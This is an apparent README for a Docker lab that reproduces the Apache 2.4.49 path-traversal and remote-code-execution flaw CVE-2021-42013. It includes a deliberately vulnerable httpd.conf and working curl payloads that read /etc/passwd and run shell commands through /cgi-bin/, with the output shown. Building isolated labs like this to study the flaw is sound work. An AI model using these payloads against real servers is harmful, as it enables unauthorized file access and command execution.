apache-cve-2021-42013-rce

Docker-based penetration testing lab simulating CVE-2021-42013 vulnerability (Path Traversal & RCE) on Apache HTTP Server (2.4.49). This project is prepared to simulate and exploit the CVE-2021-42013 vulnerability found in Apache HTTP Server (2.4.49) in an isolated environment. A special laboratory environment named docker-exploit-lab has been set up, and the attack scenario is carried out over a victim and an attacker machine on the same network.

Project Structure and Setup Files

Our laboratory consists of two main configuration files: the Docker Compose file defining the Victim/Attacker machines, and the configuration file that makes the Apache server vulnerable.

1. docker-compose.yml

This file creates an isolated environment on the 172.20.0.0/16 subnet. The attacker machine automatically installs the curl tool necessary for the attack upon startup.

services:
  victim:
    image: httpd:2.4.49
    container_name: victim-box
    volumes:
      - ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
    networks:
      lab_net:
        ipv4_address: 172.20.0.2
  attacker:
    command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
    image: kalilinux/kali-rolling
    container_name: attacker-box
    tty: true
    networks:
      lab_net:
        ipv4_address: 172.20.0.3
networks:
  lab_net:
    driver: bridge
    ipam:
      config:
        - subnet: 172.20.0.0/16

2. my-httpd.conf

To trigger the vulnerability, the server has been intentionally made vulnerable by granting Require all granted permission to the root directory () and the CGI directory. (Important Note: Ensure this file is saved in plain UTF-8 format without BOM (Byte Order Mark) characters to avoid errors.)

Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted

Launching the Laboratory and Attack Phase

To start the system, run the following command in the terminal while in the working directory:
docker compose up -d After the system is up, we enter the Kali Linux machine where we will execute the attack commands: Bash docker exec -it attacker-box /bin/bash

Phase 1: Path Traversal

From inside the Kali machine, we trigger the directory traversal vulnerability by sending URL-encoded characters (.%%32%65) to the target machine's static IP address (172.20.0.2) and read the /etc/passwd file: Bash curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

Phase 2: RCE (Remote Code Execution)

Since we authorized the CGI directory in the Apache configuration, we can run shell commands directly on the server using the same directory traversal logic over /cgi-bin/. To run the id command: Bash curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" Successful Output Obtained: uid=1(daemon) gid=1(daemon) groups=1(daemon)

Conclusion

This study practically demonstrates how a Path Traversal vulnerability in an unpatched web server, which may seem harmless from the outside, can escalate into full remote code execution (RCE) when combined with misconfigured CGI module permissions.